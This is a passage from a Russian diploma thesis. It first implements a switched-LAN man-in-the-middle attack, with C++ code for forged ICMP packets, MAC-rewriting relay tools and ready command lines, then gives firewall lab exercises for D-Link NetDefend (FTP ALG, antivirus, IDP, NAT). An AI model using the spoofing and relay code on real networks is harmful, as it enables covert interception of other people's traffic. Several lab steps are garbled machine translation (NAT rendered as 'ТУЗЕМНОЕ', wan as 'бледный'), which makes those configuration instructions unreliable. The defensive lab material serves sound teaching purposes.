одной машины с одним интерфейсом, таблица коммутации свича, к которому 

подключен атакующий будет выглядеть, как нарисовано на рисунке слева. То 

есть и MAC сервера, и MAC клиента находятся на одном и том же порту 

коммутатора. Поэтому, в том случае когда, получив пакет, к примеру, от 

сервера, попытаться переправить его клиенту, свич отбросит его назад, 

согласно своей таблице. Если попробовать осуществить то же самое, используя 
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две сетевые карты, получится то, что указанно на картине на рисунке справа. 

Свич все равно будет отправлять пакеты обратно атакующему. Из 

рассмотренных случаев вытекает следующий вывод: необходимо использовать 

две атакующие машины.  

Но есть и нюансы. Никакие три задействованные MAC-адреса не должны 

сойтись на одном свиче. Пример простейшего построения сети представлен 

ниже. 

 

 
 

Рисунок 2.3 - Удачный пример атаки 

 

Подобная схема дает возможность прослушать трафик, которым 

обмениваются клиент и сервер друг с другом. Для ее осуществления 

необходимо выбрать правильные направления пакетов. А именно, "Атакующий 

2" должен заменить собой "Сервер" для "Клиента". "Атакующий 1" - "Клиента" 

для "Сервера". После этого атакующие должны передавать пакеты между 

собой, для того чтобы установить канал связи между клиентом и сервером. В 

случае удачи, запустив сниффер, можно будет наблюдать клиент-серверный 

обмен. 

 

2.3 Реализация атаки 

 

Реализация задействует два консольных приложения - falseping 

(генерирует ложные ICMP запросы), и mitm (man in the middle, маршрутизатор 

пакетов, идущих от клиента к серверу (или наоборот), через двух участников 

атаки). Для отсылки и перехвата в оба приложения используют библиотеку 

WinpkFilter 3.0. 
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Начнем с falseping. Синтаксис вызова такой: 

falseping dst_ip dst_mac src_ip src_mac index count delay 

Где dst_ip, src_ip - destination и source адреса IP заголовкa, dst_mac и 

src_mac - destination и source адреса ethernet заголовка соответственно. index - 

индекс интерфейса, который будет отсылать пакеты. Для получения индекса 

используется приложение ListAdapters, которая есть в комплекте WinpkFilter. 

Далее: count - количество отправляемых пакетов, delay - задержка в 

миллисекундах после отправки одного пакета. 

Немного о программном осуществлении. Есть ICMP echo request, 

захваченный с помощью сниффера и слегка измененный: 

  

BYTE EchoRequest []= 

{ 

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 

0x08, 0x00, 0x45, 0x00, 

0x00, 0x3c, 0xff, 0x46, 0x00, 0x00, 0x81, 0x01, 0xb9, 0x1d, 0xc0, 0xa8, 0x00, 

0x0b, 0xc0, 0xa8, 

0x00, 0x01, 0x08, 0x00, 0x43, 0x5c, 0x01, 0x00, 0x09, 0x00, 0x61, 0x62, 

0x63, 0x64, 0x65, 0x66, 

0x67, 0x68, 0x69, 0x6a, 0x6b, 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 

0x73, 0x74, 0x75, 0x76, 

0x77, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69 

}; 

 

Производиться вычисление адреса заголовков в этом кадре и адрес ICMP 

data: 

 

// адрес заголовка ethernet 

ether_header_ptr etherHeader = reinterpret_cast <ether_header_ptr> 

(&EchoRequest[0]); 

// адрес IP хидера 

iphdr_ptr ipHeader = reinterpret_cast <iphdr_ptr> ( &EchoRequest[sizeof 

(ether_header)] ); 

// адрес ICMP хидера 

icmphdr_ptr icmpHeader = reinterpret_cast<icmphdr_ptr> 

 (reinterpret_cast<PBYTE>(ipHeader) + sizeof(DWORD)*ipHeader-

>ip_hl); 

// адрес ICMP data 

BYTE *icmpData = reinterpret_cast(icmpHeader) + sizeof (icmphdr); 

 

Далее, из параметров командной строки заполняются основные поля в 

этих заголовках и сохраняются оставщиеся параметры: 
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// получаем параметры командной строки 

GetIPAddress(argv[1], reinterpret_cast<IPAddress*> (&ipHeader->ip_dst)); 

GetMAC (argv[2], reinterpret_cast<MAC*> (ðerHeader->h_dest)); 

GetIPAddress(argv[3], reinterpret_cast<IPAddress*> (&ipHeader->ip_src)); 

GetMAC (argv[4], reinterpret_cast<MAC*> (ðerHeader->h_source)); 

unsigned int index = atoi (argv[5]) - 1; 

unsigned int count = atoi (argv[6]); 

unsigned int delay = atoi (argv[7]); 

 

После этого ICMP data заменяется на специальную сигнатуру: 

 

const char ICMPData [] = "bcdefghijklmnopqrstuvwxyzabcdefg"; //32 bytes + 

zero 

//original = "abcdefghijklmnopqrstuvwabcdefghi" in win xp 

memcpy (icmpData, ICMPData, 32); 

 

Это необходимо для того, чтобы mitm отличал настоящие echo reply от 

фальшивых и не отбрасывал их. Далее - пересчет основных сумм ICMP и IP, 

инициализация запроса для отправки, и наконец основной цикл: 

while (count-- > 0) 

{ 

 if (!api.SendPacketToAdapter(&Request)) 

  std::cout<<"SendPacketToAdapter failed.\n"; 

 else cout<<"Packet #"<<packetNum++<<" sent.\n"; 

 ::Sleep (delay); 

} 

 

Все достаточно просто. 

Теперь о mitm. Синтаксис вызова: 

 

mitm index src_mac dst_mac another_attacker_mac fake_mac1 fake_mac2 

 

Где: index - то же самое, что и у falseping, src_mac и dst_mac - source mac 

& destination mac пакетов, которые необходимо отправить второму 

атакующему, fake_mac1 - замена src_mac перед отправкой второму 

атакующему. Служит пометкой того, что данный пакет обязан быть отправлен 

вторым атакующим на сервер. fake_mac2 - метка пакетов, которые обязаны 

быть отправлены клиенту. 

За основу реализации использовался пример PacketSniffer, который 

поставляется с WinpkFilter Framework. Далее приведен лишь основной цикл 

перехвата с комментариями, которые, должны помочь во всем разобраться: 

 

// бесконечный цикл прослушивания 
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for (;;) 

{ 

 // ждем появления пакетов  

 WaitforSingleObject ( hEvent, INFINITE ); 

 ResetEvent(hEvent); 

 //пакеты получены. Считываем их по одному 

 while (api.ReadPacket(&Request)) 

 { 

  if ( (*reinterpret_cast<MAC*>(ðHeader->h_dest[0]) == dst_mac) 

&& 

    (*reinterpret_cast<MAC*>(ðHeader->h_source[0]) == 

src_mac) ) 

  { 

   // пакет от ближнего клиента для дальнего 

   // сервер 

   // проверка на falseping ICMP echo reply 

   iphdr_ptr ipHeader = reinterpret_cast <iphdr_ptr> 

     (reinterpret_cast <PBYTE> (ethHeader) + 

      sizeof (ether_header)); 

   if (ipHeader->ip_p == IPPROTO_ICMP) 

   { 

    icmphdr_ptr icmpHeader = reinterpret_cast 

<icmphdr_ptr> 

     (reinterpret_cast <PBYTE> (ipHeader)+ 

     ipHeader->ip_hl*4); 

 

    if (icmpHeader->type == 0)  

     // 0 for echo reply message. 

     // (смотрите RFC 792) 

    { 

     BYTE *icmpData = 

      reinterpret_cast <PBYTE> (icmpHeader) 

+ 

      sizeof (icmphdr); 

     if ( memcmp (icmpData, ICMPData, 4) == 0) 

      continue; // дропаем пакет 

    } 

   } 

 

   // подмена адреса на адрес атакующего2 и маркер1, 

затем отправляем 

   // пакет на интерфейс 
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   *reinterpret_cast<MAC*>(ðHeader->h_dest[0]) = 

dst2_mac; 

   *reinterpret_cast<MAC*>(ðHeader->h_source[0]) = 

fake1_mac; 

   api.SendPacketToAdapter(&Request); 

   cout<<"Packet from src_mac to dst_mac relayed to 

dst2_mac\n"; 

   continue; 

  } 

 

  if ( (*reinterpret_cast<MAC*>(ðHeader->h_dest[0]) == my_mac) 

&& 

    (*reinterpret_cast<MAC*>(ðHeader->h_source[0]) == 

fake2_mac) ) 

  { 

   // пакет от атакующего2 с маркером2 

   // заменяем адреса на адрес ближнего и дальнего 

атакуемых, 

   // затем отсылаем 

   *reinterpret_cast<MAC*>(ðHeader->h_dest[0]) = src_mac; 

   *reinterpret_cast<MAC*>(ðHeader->h_source[0]) = 

dst_mac; 

   api.SendPacketToAdapter(&Request); 

   cout<<"Packet from fake2_mac to my_mac relayed to 

src_mac\n"; 

   continue; 

  } 

 

  // "обычные" пакеты. пропускаем их, не прекращая работу 

сети 

  if (PacketBuffer.m_dwDeviceFlags == 

PACKET_FLAG_ON_SEND) 

  { 

   // Place packet on the network interface 

   api.SendPacketToAdapter(&Request); 

   cout<<"MSTCP->Adapter\n"; 

  } 

  else 

  { 

   //Indicate packet to MSTCP 

   if (*reinterpret_cast<MAC*>(ðHeader->h_dest[0]) == 

my_mac) 

   { 
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    api.SendPacketToMstcp(&Request); 

    cout<<"Adapter->MSTCP\n"; 

 

Допустим, есть Client, Server, Attacker1, Attacker2. В таблице ниже 

приведены IP и MAC адреса всех участников атаки. 

 

Таблица 2 - IP и MAC адреса 

Host IP MAC 

1 2 3 

Client 192.168.1.100 01-11-12-13-14-15 

Server 192.168.1.1 01-21-22-23-24-25 

Attacker1 192.168.1.120 01-a1-a2-a3-a4-a5 

Attacker2 192.168.1.20 01-b1-b2-b3-b4-b5 
 

 

Attacker1 находится "ближе" к Client'у (будем считать они подключены к 

одному свичу), а Attacker2 "ближе" к серверу. В такой ситуации Attacker1 

должен отправлять Client'у ложные пакеты с адреса сервера: 

falseping 192.168.1.100 01-11-12-13-14-15 192.168.1.1 01-21-22-23-24-25 1 

0 1000 

А Attacker2 должен отправлять пакеты Server'у от имени клиента: 

falseping 192.168.1.1 01-21-22-23-24-25 192.168.1.100 01-11-12-13-14-15 1 

0 1000 

Далее mitm: 

Attacker1: 

mitm 1 01-11-12-13-14-15 01-21-22-23-24-25 01-b1-b2-b3-b4-b5 00-f1-f1-f1-

f1-f1 01-f2-f2-f2-f2-f2 

Attacker2: 

mitm 1 01-21-22-23-24-25 01-11-12-13-14-15 01-a1-a2-a3-a4-a5 01-f2-f2-f2-

f2-f2 01-f1-f1-f1-f1-f1 

Все. Теперь на одной из машин атакующих, или на обоих включаем 

сниффер и прослушиваем трафик. 
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3 Программная часть 

 

 

В данной части дипломной работы будут предоставлены лабораторные 

работы,  направленные на защиту простых и более сложных и серьезных атак. 

Так же будет предоставлен не большой материал, поясняющий некоторые 

моменты в самих работах. 

 

 

3.1 Лабораторная работа №1 «Защита FTP-клиентов» 

 

Цель работы: изучить настройку межсетевого экрана для зашиты FTP- 

сервера. 

Теория: File Transfer Protocol (FTP) – это протокол на основе TCP/IP, 

который используется для обмена файлами между клиентом и сервером. 

Клиент запускает соединение, подключаясь к FTP-серверу. Для начала, клиент 

предоставляет личные данные, вводя логин и пароль. После проведения 

аутентификации, сервер выводит клиенту список файлов/папок, возможных для 

загрузки/скачивания (в зависимости от прав доступа). FTP ALG используется 

для управления FTP-соединениями через межсетевой экран NetDefend.   

FTP-соединения. FTP-протокол использует два канала связи: канал для 

распределения команд и канал для распределения данных. Для открытия FTP-

сессии, FTP-клиент должен настроить TCP-соединение (канал управления) с 

портом 21 (по умолчанию) на сервере FTP. Дальше производится настройка 

FTP режима.  

Режимы FTP-соединений. FTP работает в двух режимах: активном и 

пассивном. С помощью режима определяеися роль сервера при открытии 

каналов для обмена данными между клиентом и сервером.   

Активный режим. В активном режиме FTP-клиент отправляет команду на 

FTP-сервер, указывая IP-адрес и порт, к которому следует подключиться. FTP-

сервер устанавливает канал для передачи данных обратно к FTP-клиенту, 

используя полученную информацию.   

Пассивный режим. В пассивном режиме FTP-клиент открывает 

соединение с FTP-сервером для передачи команд. Для FTP-клиентов 

рекомендуется режим по умолчанию, хотя некоторые рекомендации могут быть 

противоположными. 

Вопросы безопасности FTP. Активный и пассивный режимы FTP не 

являются безопасными для межсетевых экранов NetDefend.  

Рассмотрим сценарий, когда FTP-клиент во внутренней сети 

подключается через межсетевой экран к FTP-серверу в сети Интернет. Далее 

следует добавить IP-правило, чтобы разрешить прохождение пакетов от FTP-

клиента на порт 21 FTP-сервера.  



33 

 

Когда используется активный режим система NetDefendOS не 

осведомлена, что FTP-сервером производится установка нового соединения 

обратно к FTP-клиенту. Поэтому запрос на входящее соединение для установки 

канала обмена данными будет отклонен. Из-за того, что номер порта, который 

используется для канала передачи данных, является динамическим, есть только 

одно решение – разрешить трафик со всех портов FTP-сервера на все порты 

FTP-клиента, что будет опасно.  

Когда используется пассивный режим межсетевому экрану не требуется 

разрешение на соединение с FTP - сервером. С другой стороны, система 

NetDefendOS по-прежнему остается неосведомленной о том, какой порт FTP-

клиент попытается использовать для установки канала передачи данных. Это 

означает, что необходимо разрешить трафик со всех портов FTP-клиента на все 

порты FTP-сервера. Хотя это и не так опасно как при использовании активного 

режима, потенциальная угроза безопасности все же существует. Тем более, что 

не все FTP-клиенты поддерживают пассивный режим. 

NetDefendOS ALG. Система FTP ALG NetDefendOS касается вопросов 

безопасности при восстановлении канала TCP- потока для передачи FTP-

команд и проверке его содержимого. В этом случае система  NetDefendOS 

осведомлена только о том, какой порт открыт для канала передачи данных. 

Кроме того, FTP ALG также предоставляет набор функций для фильтрации 

определенных команд управления и обеспечения защиты от переполнения 

буфера. 

На рисунке, отображенном ниже, межсетевой экран NetDefend 

обеспечивает защиту рабочей станции, которая будет подключена к FTP-

серверам в сети Интернет.   

 

 
 

Рисунок 3.1  -  Защита межсетевым экраном 
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Рабочее задание:  

1. Выключение опции  FTP ALG  Allow client to use active mode, с 

помощью чего, клиенты смогут пользоваться только пассивным режимом. Это 

обеспечивает клиенту более высокий уровень безопасности. 

2. Включение опции  FTP ALG  Allow server to use passive mode.  Данная 

опция позволяет клиентам подключиться к FTP- серверам, поддерживающим 

как активный, так и пассивный режимы в сети Интернет. 

Методические указание к выполнению лабораторной работы:  

Настройка выполняется следующим образом: 

Интерфейс Web 

1) FTP создание ALG  

1. Переход, который выполнен следующим образом: Objects&gt; ALG&gt; 

Add&gt; FTP ALG  

2. Введение на Имя линии: за границу ftp  

3. Отмена выбора области Позволяет клиенту использовать активный 

способ  

4. Область Позволяет серверу использовать пассивный выбор способа  

5. Нажмите хорошо  

2) Сервисное создание  

1. Вход, который выполнен следующим образом: Objects&gt; Services&gt; 

Add&gt; Обслуживание TCP/UDP  

2. Введение:  

- Имя: обслуживание за границу ftp  

- Тип: выбор TCP от того, чтобы опускать список  

- Место назначения: 21 (порт ftp-сервера)  

- ALG: за границу ftp  

3. Нажмите хорошо  

3) Создайте IP правила  

Существует это - необходимые создания IP прохождения разрешения 

правила движения FTP, которое правила изменят в зависимости от 

используемого IP-адреса: частный или общественный. 

Использование общественных IP-адресов  

Если общественные IP-адреса используются, необходимо быть 

убежденным, что есть не запрещение правил или разрешение того же самого 

типа портов/движения. Обслуживание обратилось здесь - обслуживание за 

границу ftp, которое должно использовать ранее определенное за границу ftp 

ALG, описанное ранее.  

1. Вход, который выполнен следующим образом: Rules&gt; IP Rules&gt; 

Add&gt; IPRule  

2. Введение:  

- Имя: "позвольте ftp, за границу"  

- Действие: решить  

- Обслуживание: обслуживание за границу ftp 
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3. Для Фильтра Адреса необходимо войти:  

- Исходный Интерфейс: LAN  

- Интерфейс назначения: бледный  

- Исходная Сеть: lannet  

- Сеть назначения: все-сети 

4. Нажмите хорошо.  

Использование частных IP-адресов  

Если брандмауэр использует частные IP-адреса и один внешний 

общественный IP-адрес, необходимо добавить следующее ТУЗЕМНОЕ 

правило:  

1. Вход сделан на средствах Rules&gt; IP Rules&gt; Add&gt; IPRule 

2. Введение:  

- Имя: "ТУЗЕМНЫЙ ftp, за границу"  

- Действие: ТУЗЕМНЫЙ  

- Обслуживание: обслуживание за границу ftp 

3. Для Фильтра Адреса необходимо войти:  

- Исходный Интерфейс: LAN  

- Интерфейс назначения: бледный  

- Исходная Сеть: lannet  

- Сеть назначения: все-сети 

4. Используйте Интерфейсный выбор Адреса 

5. Нажмите хорошо 

 

3.2 Лабораторная работа №2 «Активация антивирусного 

сканирования» 

 

Цель работы: настройка антивирусного сканирования  

Теория: При настройке антивирусного сканирования в ALG, можно 

установить следующие параметры: 

1. Основные функции 

Режим должен быть одним из следующих:  

 Disabled – Функция Антивирус выключена. 

 Audit – Сканирование активировано, но единственным действием 

является ведение журнала.  

Protect – Функция Антивирус активирована. Подозрительные файлы 

будут удалены или занесены в журнал. 

Fail mode behavior  - Если по какой-либо по причине не удается 

выполнить проверку на наличие вирусов, то передача данных может быть 

прекращена или разрешена, при этом событие регистрируется в журнале. Если 

установлено значение Allow (Разрешить), то ситуация в условиях, когда 

вирусные базы не доступны или текущая лицензия не действительна, не 
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приведет к удалению файлов. Вместо этого, передача файлов будет разрешена, 

а также будет сгенерировано сообщение для записи в журнал, указывающее на 

то, что произошел сбой. 

2. Функция Scan Exclude 

Если требуется, можно отменить сканирование файлов с определенным 

расширением. Данное действие может увеличить общую пропускную 

способность, если расширение файла является одним из видов, которые обычно 

встречаются в определенном сценарии, например, загрузка файлов через HTTP. 

3. Ограничение степени сжатия 

При сканировании сжатых файлов, NetDefendOS должна применять 

распаковку для проверки содержимого файла. Некоторые типы данных могут 

привести к очень высокой степени сжатия, где сжатый файл является малой 

частью от первоначального размера несжатого файла. Это означает, что 

сравнительно небольшое вложение сжатого файла, возможно, нуждается в 

распаковке. Большой по объему файл может значительно израсходовать  

ресурсы NetDefendOS и заметно снизить пропускную способность. 

Для предотвращения подобной ситуации, администратор должен указать 

предел степени сжатия (Compression Ratio). Если предел степени сжатия 

определен как 10, то это будет означать, что если несжатый файл в 10 раз 

больше, чем сжатый, следует предпринять указанное действие. Действие может 

быть одним из следующих: 

- Allow – Разрешить передачу файла без проверки на наличие вирусов 

- Scan – Сканировать файл на наличие вирусов 

- Drop – Отбросить файл  

Во всех трех перечисленных выше случаях событие заносится в журнал. 

Рабочее задание: Настройка политики антивирусного сканирования 

Методические указание к выполнению лабораторной работы:  

Этот пример показывает контроль политики антивирусного просмотра 

движения HTTP, идущего с lannet во все-сети. Предположительно, ТУЗЕМНОЕ 

правило уже определено в ряде IP правил для natirovaniye этого движения. 

CLI 

Сначала создайте объект Application Layer Gateway (ALG) HTTP с 

включенной функцией антивирусного просмотра: 

gw-world:/&gt; набор ALG ALG_HTTP anti_virus Antivirus=Protect 

Далее создайте объект обслуживания посредством нового HTTP ALG: 

gw-world:/&gt; добавьте ServiceTCPUDP http_anti_virus Type=TCP 

DestinationPorts=80 ALG=anti_virus 

В завершении ко всему изменяют правило, ТУЗЕМНОЕ для 

использования нового обслуживания: 

gw-world:/&gt; набор IPRule NATHttp Service=http_anti_virus 

Интерфейс Web 

1) Сначала создайте объект HTTP ALG: 

1. Приезжайте Objects&gt; ALG&gt; Add&gt; HTTP ALG 
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2. Определите подходящее название ALG, например, anti_virus 

3. Нажмите вкладку Antivirus  

4. Выберите Защищают в том, чтобы опускать список Способа   

5. Нажмите хорошо 

2) Далее создайте Обслуживание объекта посредством нового HTTP ALG: 

1. Приезжайте Местный Objects&gt; Services&gt; Add&gt; обслуживание 

TCP/UDP 

2. Определите подходящее название Обслуживания объекта, например, 

http_anti_virus 

3. Выберите TCP в том, чтобы опускать список Типа  

4. Войдите 80 в текстовое поле Порта назначения   

5. Выберите недавно созданный HTTP ALG в том, чтобы опускать список 

ALG 

6. Нажмите хорошо 

3) В завершении ко всему изменяют ТУЗЕМНОЕ правило (в этом 

примере NATHttp) для использования нового обслуживания: 

1. Приезжайте Rules&gt; IP правила 

2. Выберите правило, ТУЗЕМНОЕ для регулирования движения между 

lannet и все-сетями 

3. Нажмите вкладку Service  

4. Выберите новое обслуживание, http_anti_virus, в prelvaritelno, 

бесспорном опускающий Сервисный список    

5. Нажмите хорошо 

От этой функции пункта антивируса просмотр активирован для всего 

Интернет-трафика между lannet и все-сетями. 

3.3 Лабораторная работа №3 «Настройка SMTP Log Receiver» 

 

Цель работы: настройка IDP 

Теория: Обнаружение и предотвращение вторжений (IDP) являются 

подсистемой NetDefendOS, который предназначен для защиты от попыток 

вторжения. Система работает со способом контролировать сетевого движения, 

проходящего через брандмауэр NetDefend, поиск шаблонов, указывающих на 

попытку вторжения. После обнаружения вторжения NetDefendOS IDP 

выполняет шаги на нейтрализации как вторжения и ее источник. 

Функция действия. После идентификации вторжения необходимо 

предпринять Действие, связанное с правилом IDP. Администратор может 

соединить одну из трех функций Действия с правилом IDP: 

- Проигнорируйте – чтобы не выполнить любые действия, если 

вторжение показано, и оставить связь открытой. 

- Аудит – чтобы Оставить связь открытой, но зарегистрировать случай.  
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- Защитите – чтобы Отклонить связь и зарегистрировать случай (с 

дополнительной функцией введения в "черный список" источник связи или 

включения ZoneDefense, как это описано ниже). 

IDP "черный список". Защищать функция содержит дополнительный 

выбор в "черном списке" отдельных хозяев или сети, активирующей правило 

IDP. Это означает, что все последующее движение, идущее из источника, 

который находится в "черном списке", будет автоматически отклонено 

системой NetDefendOS. 

ZoneDefense IDP. Действие Защищает, содержит выбор дезактивации 

отдельного распределительного щита D-связи, активирующего правило IDP, 

посредством функции ZoneDefense. Для получения более подробной 

информации о функциях ZoneDefense посмотрите. Глава 12, ZoneDefense. 

Приемник SMTP Регистрации для событий IDP. Чтобы получить 

уведомления по электронной почте о событиях IDP, необходимо приспособить 

приемник SMTP Регистрации. Это сообщение электронной почты будет 

содержать обзор событий IDP, который произошел в промежуток времени, 

установленный пользователем. 

После был случай IDP, NetDefendOS ожидает несколько секунд (Держите 

Время), прежде, чтобы послать уведомление по электронной почте. Тем не 

менее сообщение пошлют, только если число событий, которые произошли в 

течение этого промежутка времени, равно или boly, чем Пороговое значение 

Регистрации.Рабочее задание: добавление и настройка IDP-правил 

Методические указание к выполнению лабораторной работы:  

В этом примере Правило IDP приспособлен с Приемником SMTP 

Регистрации. Если есть случай IDP, работы Правило. По крайней мере одно 

новое событие имеет место во время периода Времени Захвата, которое 120 

секунд длятся, таким образом, достигнув уровня порога журнала (произошел не 

меньше чем 2). В результате по электронной почте уведомление, содержащее 

резюме событий IDP, пошлют. После этого могут быть еще некоторые события 

IDP, но для предотвращения "наводнения" почтового сервера, прежде, чем 

послать новые сообщения NetDefendOS ожидают 600 секунд (10 минут). 

Предполагается, что сервер SMTP приспособлен в телефонной книге с именем 

smpt-сервер.CLI 

Добавление SMTP log receiver: 

gw-world:/> add LogReceiver LogReceiverSMTP smt4IDP IPAddress=smtp-

server            Receiver1=youremail@yourcompany.com 

Правила IDP: 

gw-world:/> cc IDPRule examplerule  

gw-world:/examplerule> set IDPRuleAction 1 LogEnabled=Yes 

Web-интерфейс 

Добавление SMTP log receiver: 

1. Зайдите System > Log and Event Receivers > Add > SMTP Event Receiver 

2. Введите: 
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- Name: smtp4IDP  

- SMTP Server: smtp-server  

- Server Port: 25  

- Определите альтернативные адреса email (до 3)  

- Sender: hostmaster  

- Subject: Log event from NetDefendOS  

- Minimum Repeat Delay: 600  

- Hold Time: 120  

- Log Threshold: 2  

- Нажмите OK 

Правила IDP: 

1. Зайдите IDP > IDP Rules 

2. Выберите правило и нажмите Edit 

3. Выберите действие, которое необходимо зарегистрировать и нажмите 

Edit 

4. Выберите Enable logging во вкладке Log Settings  

5. Нажмите OK 

Настройка IDP для почтового сервера 

Данный пример подробно описывает шаги по установке IDP в простом 

сценарии, в котором почтовый сервер находится в сети Интернет в зоне DMZ с 

публичным IP-адресом. Соединение с публичной сетью Интернет можно 

установить через WAN-интерфейс межсетевого экрана, как показано на 

рисунке ниже. 

Будет создано правило IDP под названием IDPMailSrvRule, и Service для 

использования сервиса SMTP. Интерфейс источника и Сеть источника 

определяют, откуда исходит трафик, в данном примере, из внешней сети. 

Интерфейс назначения и Сеть назначения определяют, куда направлен трафик, 

в данном случае, на почтовый сервер. Поэтому следут установить Сеть 

назначения на объекте, определяющем почтовый сервер. 

CLI 

Добавление правила IDP: 

gw-world:/> add IDPRule Service=smtp SourceInterface=wan             

SourceNetwork=wannet             

DestinationInterface=dmz            

   DestinationNetwork=ip_mailserver            

   Name=IDPMailSrvRule 

Определение действия правила: 

gw-world:/> cc IDPRule IDPMailSrvRule   

gw-world:/IDPMailSrvRule> add IDPRuleAction Action=Protect 

                                            IDPServity=All Signatures=IPS_MAIL_SMTP 

Web-интерфейс 

Добавление правила IDP: 



40 

 

Данное правило IDP называется IDPMailSrvRule и применяется к сервису 

SMPT. Интерфейс источника и Сеть источника определяют, откуда исходит 

трафик, в данном примере, из внешней сети. Интерфейс назначения и Сеть 

назначения определяют, куда направлен трафик, в данном случае, на почтовый 

сервер. Поэтому следует установить Сеть назначения на объекте, 

определяющем почтовый сервер.  

1. Зайдите IDP > IDP Rules > Add > IDP Rule 

2. Введите: 

- Name: IDPMailSrvRule  

- Service: smtp  

- Также проверьте отброшенные пакеты: весь трафик, соответствующий 

данному правилу, должен быть просканирован (это также означает, что трафик, 

что основной набор правил будет отброшен), необходимо установить флажок в 

поле Protect against insertion/evasion attacks.  

- Source Interface: wan  

- Source Network: wannet  

- Destination Interface: dmz  

- Destination Network: ip_mailserver  

- Нажмите OK 

Определите действие: 

Определено действие, указывающее какие сигнатуры IDP использовать 

при соответствии сканируемых данных правилу, а также действия 

NetDefendOS, если обнаружено возможное вторжение. В этом примере, 

попытки вторжения будут причиной отклонения соединения, таким образом, 

установлено Действие Protect. Для функции Сигнатуры установлено значение 

IPS_MAIL_SMTP, чтобы использовать сигнатуры, которые описывают атаки из 

внешней сети, основанные на SMTP-протоколе. 

1. Выберите вкладку Rule Action для правила IDP 

2. Введите: 

- Action: Protect  

- Signatures: IPS_MAIL_SMTP  

- Click OK 

Если необходимо зарегистрировать попытки вторжения, это можно 

выполнить, нажав "Rule Actions" при создании правила IDP и включении 

регистрации. Для Severity следуте установить значение All, чтобы обпеспечить 

совпадение всех SMTP-атак. 

 

3.4 Лабораторная работа №4 «Использование NAT правил и NAT-

пулов» 

 

Цель работы: добавление NAT правил и использование NAT-пулов 
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Теория: Возможность системы NetDefendOS присваивать другие IP-

адреса пакетам, проходящим через межсетевой экран NetDefend, называется 

преобразованием (трансляцией) IP-адресов. 

Наличие возможности преобразования одного IP-адреса в другой дает ряд 

преимуществ. Наиболее важными из них являются следующие два. 

- В защищенной сети могут использоваться хосты с приватными IP-

адресами, которые имеют доступ в Интернет. Также возможна ситуация, когда 

к серверам с приватными IP-адресами можно обращаться из сети Интернет. 

- Усложняя топологию защищенной сети, таким образом, повышаем ее 

защиту от несанкционированного доступа. Механизм трансляции адресов 

скрывает IP-адреса внутренних компьютеров, значительно усложняя получение 

доступа к ним извне. 

Типы преобразования адресов 

Система NetDefendOS поддерживает два типа преобразования адресов: 

- Dynamic Network Address Translation (NAT) – динамическое 

преобразование сетевых адресов; 

- Static Address Translation (SAT) – статическое преобразование адресов. 

Оба типа преобразования адресов основаны на правилах NetDefendOS. 

Правила применяются к определенному типу трафика и зависят от 

источника/назначения сети/интерфейса, а также типа протокола. Для 

конфигурирования механизма преобразования адресов в системе NetDefendOS 

используются два типа IP-правил: NAT-правила и SAT-правила. 

В этом разделе приводится описание и примеры конфигурирования NAT- 

и SAT-правил. 

Динамическое преобразование сетевых адресов (NAT) обеспечивает 

механизм преобразования исходного IP-адреса источника в другой адрес. У 

исходящих пакетов изменяются IP-адреса источников. IP-адреса входящих 

пакетов, направленных по адресу этого источника, снова преобразуются в 

исходные IP-адреса. 

Существует два важных преимущества механизма NAT: 

- IP-адреса частных клиентов и хостов «спрятаны» за IP-адресом 

межсетевого экрана; 

- Только межсетевому экрану требуется публичный IP-адрес. Хостам и 

сетям за межсетевым экраном могут быть назначены приватные IP-адреса, но 

они имеют доступ к публичной сети Интернет через публичный IP-адрес. 

NAT обеспечивает преобразование IP-адресов типа «много в один» 

Механизм NAT обеспечивает преобразование IP-адресов «много в один». 

Это значит, что каждое NAT-правило из набора IP-правил будет выполнять 

преобразование нескольких IP-адресов источника в один IP-адрес источника. 

Чтобы обработать данные о состоянии сессии, для каждого соединения, 

установленного с динамически преобразованного адреса, используется 

уникальная комбинация из номера порта и IP- адреса отправителя. Помимо IP-

адреса источника, система NetDefendOS также осуществляет автоматическое 
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преобразование номера порта источника. Т.е. для того, чтобы установить 

соединение, IP-адреса нескольких источников преобразуются в один IP-адрес, и 

соединения различаются только по уникальному номеру порта каждого 

соединения. 

Следующая схема иллюстрирует концепцию NAT.  

 

 
 

Рисунок 3.2 -  NAT-преобразование IP-адресов 

 

На рисунке 3.2 представлены три соединения с IP-адресов A, B и C, 

которые преобразованы с помощью NAT в один IP-адрес источника N. 

Начальные номера портов изменены. 

При установлении очередного NAT-соединения, система NetDefendOS 

случайным образом определяет следующий свободный номер порта источника. 

Механизм случайного назначения портов способствует повышению уровня 

безопасности. 

Ограничение количества соединений 

Количество одновременных NAT-соединений не может превышать 64 

500. При этом каждое соединение «состоит» из уникальной пары IP-адресов. 

Здесь под «парой IP-адресов» подразумевается соединение, установленное 

между IP-адресом на каком-либо интерфейсе системы NetDefendOS и IP-

адресом некоторого внешнего хоста. Но если два разных IP-адреса внешнего 

хоста подключены с использованием одного и того же NAT-адреса 

межсетевого экрана, то они составляют две разные уникальные IP-пары. 

Поэтому количество в 64 500 одновременных соединений не является верхним 

пределом для всего межсетевого экрана NetDefend. 

IP-адрес источника, используемый в NAT. В системе NetDefendOS 

существует три способа определения IP-адреса источника, который будет 

использован в NAT: 

- Использование IP-адреса интерфейса. Когда устанавливается новое 

соединение, для него по таблице маршрутизации назначается выходной 

интерфейс. И когда система NetDefendOS выполняет преобразование адресов, 

IP- адрес принятого интерфейса используется в качестве нового IP-адреса 
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источника. Этот способ определения IP-адреса используется как способ по 

умолчанию. 

- Назначение определенного IP-адреса. В качестве нового IP-адреса 

источника может быть назначен определенный IP-адрес. Для этого необходимо, 

чтобы этот IP-адрес опубликовывался в ARP на выходном интерфейсе, т.к. в 

противном случае, обратный трафик не будет получен межсетевым экраном 

NetDefend. Этот метод используется, когда IP-адрес источника должен 

отличаться от адреса интерфейса источника. С использованием этого метода, 

например, Интернет-провайдер с помощью механизма NAT может выдавать 

разные IP-адреса разным клиентам. 

- Использование IP-адреса из NAT-пула 

В качестве IP-адреса источника может использоваться NAT-пул – 

диапазон IP-адресов, определенный администратором сети. В этом случае в 

качестве IP-адреса NAT будет приниматься очередной доступный IP-адрес из 

пула. Причем NAT-пулов может существовать несколько. А также один NAT-

пул может быть использоваться в более чем одном NAT- правиле. Более 

подробно эта тема освещена далее в разделе 7.3. «NAT-пулы». 

Применение NAT-преобразования 

